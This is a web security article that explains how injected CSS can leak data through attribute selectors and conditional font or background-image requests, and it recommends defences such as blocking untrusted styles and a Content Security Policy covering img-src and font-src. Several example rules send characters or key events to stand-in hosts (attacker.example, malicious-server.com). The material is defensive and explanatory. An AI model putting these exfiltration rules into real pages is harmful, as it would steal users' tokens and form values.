Defending Against CSS-Based Attacks: Best Practices for Web Security

Defending Against CSS-Based Attacks: Best Practices for Web Security
Defending Against CSS-Based Attacks: Best Practices for Web Security

Understand the risks of CSS-based attacks, including keystroke detection, and implement effective security strategies to mitigate vulnerabilities in your web projects.

Most of us think of CSS as harmless. It paints the page. It can’t run code, it can’t read your keystrokes, so why worry about it? That instinct is exactly what attackers count on. Given a way to inject styles into a page, CSS can quietly leak data off it, and it can do that even when JavaScript is locked down or turned off entirely.

This guide walks through how that actually works, where the real limits are (there are big ones, and the honest ones matter), and what you do to shut it down. We’ll keep the examples concrete and skip the scare tactics.

Table of Contents

Understanding CSS Data Exfiltration

Here’s the core idea. CSS can’t execute logic, but it can be told to load a resource, a background image or a font, and it can be told to load it only when a selector matches. That match-then-fetch behavior is the whole game. If an attacker can control which selectors fire, and each firing sends a request to a server they own, then the browser itself becomes the messenger. CSS never “reads” anything. It just requests different URLs depending on what’s on the page, and the attacker reads the request logs.

The most important thing to get straight up front: this only leaks data that already lives in the HTML the browser sees. Attribute selectors like [value^="a"] match against the attribute in the markup, not the live property you’re typing into a box. So the honest scope is narrower than “CSS keylogger” makes it sound. It works best against values that get written into attributes, which is more common than you’d hope.

How Attackers Get Their CSS Onto Your Page

None of this matters unless the attacker’s styles reach your page. The usual doors are a CSS injection flaw (user input reflected into a style attribute or block without sanitizing), a compromised or malicious third-party stylesheet, or a broader Cross-Site Scripting hole that lets them inject markup at will. Close those doors and the rest of this article is theory. Leave one open and CSS becomes a real exfiltration channel.

Key Concepts in CSS Data Exfiltration
  • Attribute selectors: Selectors like [value^="x"] test whether an attribute starts with, ends with, or contains a character. Chain them one character at a time and you reconstruct the value.
  • Conditional resource loading: A matched selector can trigger background-image: url(...) or a font request. That request is the signal, and its URL carries the leaked character back to the attacker.
  • Pseudo-classes and pseudo-elements: :focus, :hover, and ::after let styles react to state and inject content, useful for inferring what a user is doing on the page.

Real-World Cases of CSS-Based Data Exfiltration

This isn’t hypothetical. In 2018 a proof of concept called CSS-Keylogging showed that a React app could leak what a user typed into a password field using nothing but CSS, because React’s controlled inputs mirror their live value back into the value attribute. That reflected attribute is what made the selectors match on every keystroke. The lesson was less “CSS is a keylogger” and more “watch what you write into attributes.”

Around the same time, security researcher Dylan Ayrey published a technique for stealing CSRF tokens with CSS injection, no iframes required. Hidden form fields park CSRF tokens in value attributes, which is exactly the shape attribute-selector exfiltration loves. PortSwigger has since documented the family in depth, including chained-conditional variants in their Inline Style Exfiltration research. These are the citable cases. The scary “famous pixel-tracking vulnerability” you’ll see repeated around the web isn’t a real named incident, so we’re skipping it.

How the Attribute-Selector Attack Works

The technique reads an attribute value one character at a time. A rule such as input[name="token"][value^="a"] { background: url(//attacker.example/leak?c=a); } only fetches that image if the token starts with “a”. Fire one rule per possible character and whichever URL hits the attacker’s server reveals the first letter. Repeat with two-character prefixes, then three, and the full token walks out over a series of image requests. No JavaScript, no user click.

CSS
/* CSS tracking using hover state and content insertion */
input[type="text"]:hover::after {
    content: "Hovering on the input field!";
}

The snippet above is the toy version: a visible reaction to a user event. The real attacks swap that harmless content for a network request and target attribute values instead of hover state, but the mechanism, “match a condition, then fetch,” is identical.

Basic Concepts: How CSS Can Be Abused

Start with interaction tracking, the simplest layer. CSS can’t see your data, but it can react to state, and state leaks intent. This is most useful to an attacker precisely when JavaScript is unavailable, which is why it’s worth understanding even if it feels quaint.

1. Using CSS Selectors to Track Input Focus

Pseudo-classes like :focus and :active fire when a user touches a field. On their own they just change how the page looks. Point that reaction at a remote resource instead of a color, and “user focused the password box” becomes a request the attacker can log.

CSS
/* Detect when a user focuses on a specific field */
input[type="password"]:focus {
    background-color: #ff0000;
}

Here the password field turns red on focus. Harmless as written. The point is that any observable state change can be wired to a network call, and then it stops being harmless.

2. Monitoring Form Interaction

CSS can’t detect a form submission by itself, and it’s worth being precise about that. What it can do is react to which fields get focused, hovered, or filled, and pair those reactions with server-side request logs to infer the shape of a user’s session. It’s inference, not capture, but inference is often enough.

Advanced CSS Techniques for Stealing Data

The advanced end pushes past “user is interacting” toward “here is the actual value.” These variants lean on external resources, fonts and background images, to carry data back out. Keep the earlier caveat in mind: they read what’s in the markup, not what’s floating in a JavaScript variable.

1. Remote Font Loading

One variant maps different resources to different input states, so the browser fetches a distinct file depending on what a selector matches. Whichever file the attacker’s server is asked for tells them what matched. The example below is illustrative of the pattern; note that the durable, widely demonstrated version uses background-image requests, and that all of it hinges on the value being present in the value attribute, not merely typed.

CSS
/* Load different fonts based on the value of the input field */
input[type="text"][value^="a"] {
    font-family: url("http://malicious-server.com/font-a.woff");
}
input[type="text"][value^="b"] {
    font-family: url("http://malicious-server.com/font-b.woff");
}

When a selector matches, the browser reaches out for the matching resource, and that outbound request is the leak. Enumerate every character and you rebuild the field’s contents from the attacker’s access logs.

2. Using Pseudo-Elements to Trigger Requests

Pseudo-elements like ::after and ::before can inject a background that points at a remote URL. Attach that to a condition and the browser fetches attacker-controlled content the moment the condition holds, which is another way to signal “this state occurred” off-site.

CSS
/* Insert content when a specific key is pressed */
input[data-key="13"]::after {
    content: "Enter key pressed!";
    background: url("http://malicious-server.com/enter_key_log.png");
}

Whenever the selector matches, the background image is requested, and that request lands in the attacker’s logs. The pattern generalizes: any selector you can make conditional on page state becomes a one-bit beacon.

Worth naming here: :visited history sniffing used to belong in this section, since a link’s visited state could trigger different styles and leak a user’s browsing history. Browsers have largely closed that off. Visited links are now restricted to a small set of style properties and getComputedStyle lies about them, so treat it as mitigated by the platform rather than something you patch yourself.

Mitigating CSS-Based Attacks

The defense is layered, and the order matters. Stop the injection first, then blunt the exfiltration channel, then watch for what slips through.

1. Don’t Let Untrusted CSS In

This is the one that actually ends the attack. Never inject user-controlled input into a style attribute or stylesheet, and if you accept styles from users at all, strip url() and @import before rendering. No injected CSS means no exfiltration channel, full stop. Everything below is defense in depth behind this line.

2. Use a Content Security Policy, Including img-src and font-src

A good CSP does double duty here. style-src restricts where stylesheets can load from, which limits injection. Just as important, img-src and font-src restrict where images and fonts can be fetched from, which is what actually kills the callback. If the attacker’s background-image or font URL isn’t an allowed source, the browser refuses the request and the data never leaves. People remember style-src and forget the resource directives; the resource directives are what close the exit.

3. Frame Your Pages Deliberately

CSS overlays are also the raw material for clickjacking, where your page is loaded transparently over a decoy and users click things they can’t see. Set X-Frame-Options or, better, a CSP frame-ancestors directive so your pages can’t be framed by sites you don’t trust.

4. Review Third-Party and Injected Styles

Audit the stylesheets you didn’t write: vendor widgets, imported themes, anything a user or integration can influence. Confirm nothing unexpected has been added, and keep the set of trusted style sources small and known. The fewer places CSS can come from, the fewer places an attacker can hide.

Best Practices for Web Security

Fold the CSS-specific defenses into the boring fundamentals that catch a lot more than this one attack:

  • Ship a real Content Security Policy: Lock down style-src, and don’t skip img-src and font-src, since those are what block the exfiltration callback.
  • Never reflect untrusted input into styles: Treat user-supplied CSS the same way you treat user-supplied HTML. Sanitize it or reject it.
  • Serve over HTTPS: It stops an in-path attacker from rewriting your traffic and slipping malicious CSS in before it reaches the browser.
  • Vet external dependencies: Third-party libraries and stylesheets are trusted code running on your page. Confirm they haven’t been tampered with.
  • Set your security headers: X-Content-Type-Options, X-Frame-Options (or frame-ancestors), and Strict-Transport-Security each remove a class of attack.
Monitoring and Response

Even with all of that in place, watch your traffic. A web application firewall and intrusion detection give you a second set of eyes, and reviewing logs for odd outbound patterns, a burst of image requests to a domain you don’t recognize, is often how this kind of leak gets caught. Assume something eventually slips through and make sure you’d notice when it does.

Conclusion

The takeaway isn’t that CSS is dangerous. It’s that CSS becomes an exfiltration tool the moment untrusted styles reach your page, and it does so by abusing the most ordinary feature it has: fetching a resource when a selector matches. The attack is narrower than the headlines suggest, it mostly reads values already sitting in your HTML, but “narrow” still covers CSRF tokens and reflected form values, which is plenty.

So do the two things that count. Don’t let untrusted CSS in, and write a CSP that restricts not just stylesheets but images and fonts too. Those close both ends of the channel. The rest, HTTPS, security headers, dependency review, monitoring, is the same hygiene that protects you from a dozen other attacks, which is a good sign you’re spending effort in the right place.

Leave a Comment

Your email address will not be published. Required fields are marked *


Scroll to Top